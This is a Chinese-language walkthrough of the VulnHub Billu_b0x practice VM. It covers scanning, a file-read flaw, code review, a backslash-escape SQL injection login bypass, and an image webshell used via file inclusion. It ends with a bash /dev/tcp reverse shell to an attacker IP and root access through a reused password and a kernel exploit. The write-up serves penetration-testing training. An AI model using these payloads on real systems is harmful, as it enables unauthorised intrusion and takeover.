VulnHub-Bilu_b0x靶机笔记

Bilu_b0x 靶机

概述

Vulnhub 的一个靶机,包含了 sql 注入,文件包含,代码审计,内核提权。整体也是比较简单的内容,和大家一起学习

Billu_b0x.zip 靶机地址:

https://pan.baidu.com/s/1VWazR7tpm2xJZIGUSzFvDw?pwd = u785

提取码: u785

一、nmap 扫描

1)主机发现

sudo nmap -sn 192.168.84.0/24

-sn 参数在 root 权限下会发送 icmp 、 arp、SYN 扫描包,而在不同用户权限下只会发送 icmp 扫描包

Nmap scan report for 192.168.84.129
Host is up (0.00045s latency).
MAC Address: 00:0C:29:41:BD:2B (VMware)

看到 192.168.84.129 为新增加 ip

2)端口扫描

nmap -sT --min-rate 10000 -p- -o ports 192.168.84.129
Nmap scan report for 192.168.84.129
Host is up (0.00043s latency).PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 facfa252c4faf575a7e2bd60833e7bde (DSA)
|   2048 88310c789880ef33fa2622edd09bbaf8 (RSA)
|_  256 0e5e330350c91eb3e75139a44a1064ca (ECDSA)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: --==[[IndiShell Lab]]==--
|_http-server-header: Apache/2.2.22 (Ubuntu)
MAC Address: 00:0C:29:41:BD:2B (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep 18 15:32:28 2024 -- 1 IP address (1 host up) scanned in 6.64 seconds

3)默认脚本扫描

nmap --script=vuln -p22,80 -o vuln 192.168.84.129
Nmap scan report for 192.168.84.129
Host is up (0.00036s latency).PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-enum: 
|   /test.php: Test page
|_  /images/: Potentially interesting directory w/ listing on 'apache/2.2.22 (ubuntu)'
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-internal-ip-disclosure: 
|_  Internal IP Leaked: 127.0.1.1
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
MAC Address: 00:0C:29:41:BD:2B (VMware)# Nmap done at Wed Sep 18 15:33:45 2024 -- 1 IP address (1 host up) scanned in 30.92 seconds

二、web 渗透

打开 80 端口

image-20240918194947354

看到它让我展示 sqli skill 这肯定是存在 sql 注入漏洞了。

尝试了比较简单的注入,发现并没有什么用。也查看了源码等信息。

1)目录爆破

sudo gobuster dir -u http://192.168.84.129 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
==============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.84.129
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index                (Status: 200) [Size: 3267]
/images               (Status: 301) [Size: 317] [--> http://192.168.84.129/images/]
/c                    (Status: 200) [Size: 1]
/show                 (Status: 200) [Size: 1]
/add                  (Status: 200) [Size: 307]
/test                 (Status: 200) [Size: 72]
/in                   (Status: 200) [Size: 47526]
/head                 (Status: 200) [Size: 2793]
/uploaded_images      (Status: 301) [Size: 326] [--> http://192.168.84.129/uploaded_images/]
/panel                (Status: 302) [Size: 2469] [--> index.php]
/head2                (Status: 200) [Size: 2468]
/server-status        (Status: 403) [Size: 295]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

全部打开看看

a) add 页面

image-20240918200206032

尝试上传正常的文件,当没什么反应

b) in

phpinfo()的页面,暴露了一些敏感的信息,需要的话可以回来看

在这里插入图片描述

c) test 页面

image-20240918200339629

他说我们缺少一个 file 参数,看到 file 参数,肯定会想要测试文件包含导致的任意文件读取。

给他拼接参数

192.168.84.129/test?file=./index.php

image-20240918200834768

看来不是 GET 参数,尝试 POST 请求。

curl -X POST -d "file=/etc/passwd" http://192.168.84.129/test

image-20240918204711178

看到有结果返回,说明存在文件的任意读取漏洞,这里看一下 /etc/shadow,没有访问权限

2)代码审计

a)index 审计

index.php 页面看到它的挑衅,我们看看源码,给它注入进去(白盒还想难到我__

curl -X POST -d "file=./index.php" http://192.168.84.129/test
<?php
session_start();include('c.php');
include('head.php');
if(@$_SESSION['logged']!=true)
{$_SESSION['logged']='';}if($_SESSION['logged']==true &&  $_SESSION['admin']!='')
{echo "you are logged in :)";header('Location: panel.php', true, 302);
}
else
{
echo '<div align=center style="margin:30px 0px 0px 0px;">
<font size=8 face="comic sans ms">--==[[ billu b0x ]]==--</font>
<br><br>
Show me your SQLI skills <br>
<form method=post>
Username :- <Input type=text name=un> &nbsp Password:- <input type=password name=ps> <br><br>
<input type=submit name=login value="let\'s login">';
}
if(isset($_POST['login']))
{$uname=str_replace('\'','',urldecode($_POST['un']));$pass=str_replace('\'','',urldecode($_POST['ps']));$run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';$result = mysqli_query($conn, $run);
if (mysqli_num_rows($result) > 0) {$row = mysqli_fetch_assoc($result);echo "You are allowed<br>";$_SESSION['logged']=true;$_SESSION['admin']=$row['username'];header('Location: panel.php', true, 302);}
else
{echo "<script>alert('Try again');</script>";
}}
echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\">B0X Powered By <font color=#ff9933>Pirates</font> ";?>

在 30-33 行看到处理登陆的逻辑

$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';
$result = mysqli_query($conn, $run);

看到语句的过滤只对单引号 进行了过滤,构造语句

当输入正常的 pass=1234uname=zhang 时,最终的 sql 语句会成为这个样子

select * from auth where pass='1234' and uname='zhang';

开始构造

pass=1234 \uname= zhang

此时 sql 语句会变成

select * from auth where pass='1234 \' and uname='zhang';

看到 pass 的值变为了 1234 \' and uname= , uname 参数的字符串逃逸了出来,变成了可执行的 sql 语句

最终 payload

pass=1234 \uname= or 1=1 --+

select * from auth where pass='1234 \' and uname='or 1=1 -- ';

image-20240919120202341

为了方便大家观看,我把前段的 password 属性改为了 text

看到登陆成功

image-20240919120319909

默认跳转了 panel.php

b)panel 审计

默认跳转到了 panel.php 页面,而这个页面上也有一些我们感兴趣的功能。

看到它有一个添加用户的接口,可以允许我们上传文件

image-20240919120607623

点击上传,我们当时目录爆破时看到了一个 uploaded_images 目录,这个目录我们有理由猜测他就是文件上传的目录

查看一下

image-20240919121219049

看到了我们上传的 test.jpg 文件

查看 panel.php 源码

它有上传的功能,我们能看到它的源码,肯定要去看一下它的上传逻辑的过滤情况,审计一下会不会出一些对我们有用的漏洞

curl -X POST -d "file=./panel.php" http://192.168.84.129/test -o panel.php
<?php
session_start();include('c.php');
include('head2.php');
if(@$_SESSION['logged']!=true )
{header('Location: index.php', true, 302);exit();}
echo "Welcome to billu b0x ";
echo '<form method=post style="margin: 10px 0px 10px 95%;"><input type=submit name=lg value=Logout></form>';
if(isset($_POST['lg']))
{unset($_SESSION['logged']);unset($_SESSION['admin']);header('Location: index.php', true, 302);
}
echo '<hr><br>';echo '<form method=post><select name=load><option value="show">Show Users</option><option value="add">Add User</option>
</select> &nbsp<input type=submit name=continue value="continue"></form><br><br>';
if(isset($_POST['continue']))
{$dir=getcwd();$choice=str_replace('./','',$_POST['load']);if($choice==='add'){include($dir.'/'.$choice.'.php');die();}if($choice==='show'){include($dir.'/'.$choice.'.php');die();}else{include($dir.'/'.$_POST['load']);}}if(isset($_POST['upload']))
{$name=mysqli_real_escape_string($conn,$_POST['name']);$address=mysqli_real_escape_string($conn,$_POST['address']);$id=mysqli_real_escape_string($conn,$_POST['id']);if(!empty($_FILES['image']['name'])){$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);$image=array('jpeg','jpg','gif','png');if(in_array($r,$image)){$finfo = @new finfo(FILEINFO_MIME); $filetype = @$finfo->file($_FILES['image']['tmp_name']);if(preg_match('/image\/jpeg/',$filetype )  || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype )){if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name'])){echo "Uploaded successfully ";$update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')'; mysqli_query($conn, $update);}}else{echo "<br>i told you dear, only png,jpg and gif file are allowed";}}else{echo "<br>only png,jpg and gif file are allowed";}
}
}
?>

看到代码在包含 load 参数的文件时,在 load != add && load != show 时会自动去 include 其他参数的文件

在这里插入图片描述

而在上传的逻辑中,它采用了白名单的方式,我们并不好绕过,可以尝试上传图片马结合文件包含的方式 getshell

三、获得立足点

image-20240919131412183

构造图片马

wget http://192.168.84.129/uploaded_images/jack.jpg    
vim jack.jpg

image-20240919141241552

我们上传上去尝试获得立足点

改个名字吧

mv jack.jpg lingx5.jpg

image-20240919133507583

上传成功

在这里插入图片描述

打开 burpsuite 捕获一下这个请求,点击 continue 捕获

image-20240919134138766

看到

image-20240919134200250

我们发送到 repeater 模块重放测试,更改 load 参数的值,GET 参数对特殊字符做 url 编码

POST /panel.php?cmd=ip+a  HTTP/1.1

在这里插入图片描述

看到 ip a 命令被正常执行,尝试反弹 shell

bash -c "bash -i >& /dev/tcp/192.168.84.128/4444 0>&1"

url 编码

POST /panel.php?cmd=bash+-c+"bash+-i+>%26+/dev/tcp/192.168.84.128/4444+0>%261" 

image-20240919141836206

获得了立足点

四、提权

1)信息收集提权

image-20240919142147381

看到我们没有目录爆破出来的目录 phpmy,进去看一看

image-20240919165945608

看到 config 配置文件,我们的兴趣肯定是最大的,进去查看

在 config 文件中看到数据库的用户和密码

image-20240919170926613

我们有理由怀疑数据库的密码和机器用户的密码是一个

尝试碰撞一下 ssh

凭据 root:roottoor

sudo ssh root@192.168.84.129 

看到命令提示符为 root

image-20240919174147620

2)利用内核提权

内核提权不建议用,因为有太多的不确定因素,很容易导致系统崩溃。

www-data 用户下,用命令 uname -a 查看系统的版本信息

image-20240919174700992

看到内核版本为 linux 3.13.0

在漏洞库中搜索内核的公开漏洞

searchsploit kernel 3.13.0

image-20240919175025271

看到了两个符合版本的提权漏洞,下载下来

searchsploit kernel 3.13.0 -m 37292
searchsploit kernel 3.13.0 -m 37293

上传到靶机,到 /tmp 目录下,这个目录是所有用户都有写权限的

image-20240919181203171

查看 37292.c 的内容,里面的注释会教我们怎么利用

image-20240919181535335

跟着操作

image-20240919181712742

成功提权到 root

这里的提权我本来还想尝试 udf 提权的,但是它的 phpmyadmin 的后台我登录不进去。应该是机器在 mysql 的配置文件做了一些安全配值,这里没办法登陆,所以就没有进行

总结

  • 我们首先对机器进行了 nmap 的基本扫描,在扫描的信息中发现 22,80 端口是暴露的,我们首先对 web 页面进行渗透测试。
  • web 首页他就告诉我们存在 sql 注入,但是我们不知道过滤规则。进行了目录爆破,在爆破出来的文件目录中发现了 test 文件有一个 file 参数,指定文件和路径可以查看源码信息。
  • 对 index.php 页面进行代码审计,成功利用 sql 注入,登陆进入系统。对 panel 进行代码审计,发现了一个文件包含漏洞,通过上传图片马与文件包含的结合利用成功获得系统立足点
  • 提权操作
    • 通过对 phpmy 目录信息的查看,我们发现了 mysql 数据库的用户名和密码信息,进行 ssh 撞库提权到了 root
    • 通过对内核漏洞 CVE-2015-1328 的利用成功提权到 root

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/427135.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

农产品交易平台的设计与实现

&#x1f33f;作品简介 : 该农产品交易平台为作者原创作品&#xff0c;成功获得优秀毕设。项目整体分为用户端(小程序)和后台管理系统(管理端)&#xff0c;二者均为前后端分离开发。 &#x1f340;项目技术栈 &#xff1a; 小程序框架、Vue、Vant、Element-UI、Axios、Java、…

【白话树】之 二叉树

快速导航 一、二叉树的基本概念1、 二叉树定义2、常见术语3、基本操作1&#xff09;创建&#xff1a;2&#xff09;插入与删除&#xff1a; 4、常见类型1&#xff09;满二叉树&#xff08;完美二叉树&#xff09;2&#xff09;完全二叉树3&#xff09;完满二叉树4&#xff09;平…

支付宝开发者✖️「蚂小财」——AgentUniverse专业多智能体框架在严谨产业中的应用实践

正在直播&#xff1a;点击进入直播间互动拿蚂蚁保温杯 &#xfeff;直播&#xfeff; &#xfeff;

【Android Studio】使用雷电模拟器调试

文章目录 进入开发者模式使雷电模拟器adb连接PC 进入开发者模式 多次点击版本号 -开区USB调试 使雷电模拟器adb连接PC 写cmd脚本 雷电模拟器端口为5555 &#xff0c;脚本内容如下&#xff1a; adb.exe connect 127.0.0.1:5555默认使用powershell的建议为&#xff1a; .\a…

uniapp中使用picker-view选择时间

picker-view 是 UniApp 中用于展示和选择数据的组件。它适用于创建多列选择器&#xff0c;类似于 iOS 和 Android 系统中的选择器视图。以下是 picker-view 的详细介绍&#xff0c;包括用法、属性和事件。 一 用法 <template><view><picker-view :value"…

HarmonyOS使用LocationButton获取地理位置

LocationButton LocationKit getAddressesFromLocation方法 步骤&#xff1a; 整合 LocationButton并获取经纬度通过 LocationKit 将经纬度转为地址信息将地址信息渲染到页面上处理异常情况&#xff08;闪退&#xff09; LocationButton({ icon: LocationIconStyle.LINE…

Java lambda表达式的变量捕获

有人看到这个lambda表达式能够访问isQuit这个变量而且还是可以被修改的变量&#xff0c;就发出疑问了&#xff0c;之前不是说lambda不能不或变量吗&#xff1f; 1.规则 java的lambda表达式变量捕获规则只是针对于外部作用域的局部变量来说的&#xff01;&#xff01;&#xf…

LVGL 控件之仪表盘(lv_meter)

目录 一、概述二、仪表盘部件1、添加刻度2、添加指针3、设置仪表的角度和仪表的范围4、装饰4.1 仪表指针图片4.2 仪表的指示刻度4.3 仪表弧线指示器 5、API 函数 一、概述 仪表盘部件可以非常灵活地展示数据&#xff0c;其功能包括显示弧形&#xff08;arcs&#xff09;、指针…

linux_L1_linux重启服务器

使用putty登录到linux服务器切换到管理员账号 sudo -s重启命令 reboot

22 C 语言字符处理:分类判断与转换(ASCII 码、字母大小写)函数详解

目录 1 isdigit() 1.1 函数原型 1.2 功能说明 1.3 代码示例 2 isxdigit() 2.1 函数原型 2.2 功能说明 2.3 代码示例 3 islower() 3.1 函数原型 3.2 功能说明 3.3 代码示例 4 isupper() 4.1 函数原型 4.2 功能说明 4.3 代码示例 5 isalnum() 5.1 函数原型 5.…

手工刻制微带线测试驻波与阻抗特性

我这个电路板是1.38mm的。1oz铜厚&#xff0c;玻纤1.3mm的FR-4双面板. 通过SI9000计算出微带线的中心宽2.45-2.5mm。间隔为2mm。只想先做测试心里有数了再去打样制作板子来测试。 下面是用刻刀刻出的线&#xff0c;我先测试一下阻抗特性&#xff0c;后面拿来做一个简单的LC带通…

兔子检测系统源码分享

兔子检测检测系统源码分享 [一条龙教学YOLOV8标注好的数据集一键训练_70全套改进创新点发刊_Web前端展示] 1.研究背景与意义 项目参考AAAI Association for the Advancement of Artificial Intelligence 项目来源AACV Association for the Advancement of Computer Vision …

vue和thinkphp路由伪静态配置

vue路由伪静态配置&#xff1a; location / { try_files $uri $uri/ /index.html; } thinkphp 路由伪静态配置 location ~* (runtime|application)/{ return 403; } location / { if (!-e $request_filename){ rewrite ^(.*)$ /index.php?s$1 last; break; } }

【Java 学习】:抽象类接口

✨ 人逢喜事精神爽&#xff0c;月到中秋分外明 &#x1f30f; &#x1f4c3;个人主页&#xff1a;island1314 &#x1f525;个人专栏&#xff1a;java学习 ⛺️ 欢迎关注&#xff1a;&#x1f44d;点赞 &#x1f4…

【代码】使用c#实现串口通信的基础模板

一、分享代码 using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms;using System.IO.Ports; using…

【环境问题】清除僵尸进程 | 深度学习任务中止但是GPU仍在占用

我一般遇到这种是本地网络意外中断了&#xff0c;程序不见了&#xff0c;但是GPU仍在占用。 1.确认GPU显存&#xff1a; 终端输入 nvidia-smi 查看显存使用情况&#xff1a; 2.查看所有进程&#xff1a; 输入fuser -v /dev/nvidia* 查看进程。如果出现bash: fuser: command no…

数据结构——链表(短小精悍版)

使用链表结构可以克服数组链表需要预先知道数据大小的缺点 链表结构可以充分利用计算机内存空间&#xff0c;实现灵活的内存动态管理。 但是链表失去了数组随机读取的优点&#xff0c;同时链表由于增加了结点的指针域&#xff0c;空间开销比较大。 单向链表&#xff1a; 一个…

【kafka】生产者

1. 主要参数&#xff1a; **bootstrap.servers&#xff1a;**该参数用来指定生产者客户端连接Kafka集群所需的broker地址清单&#xff0c;具体的内容格式为host1&#xff1a;port1&#xff0c;host2&#xff1a;port2&#xff0c;可以设置一个或多个地址&#xff0c;中间以逗号…

《Google软件测试之道》笔记

介绍 GTAC&#xff1a;Google Test Automation Conference&#xff0c;Google测试自动化大会。 本书出版之前还有一本《微软测试之道》&#xff0c;值得阅读。 质量不是被测试出来的&#xff0c;但未经测试也不可能开发出有质量的软件。质量是开发过程的问题&#xff0c;而不…

ROS第五梯:ROS+VSCode+C++单步调试

解决问题&#xff1a;在ROS项目中进行断点调试。 第一步&#xff1a;创建一个ROS项目或者打开一个现有的ROS项目。 第二步&#xff1a;修改c_cpp_properties.json 增加一段命令: "compileCommands": "${workspaceFolder}/build/compile_commands.json"第三…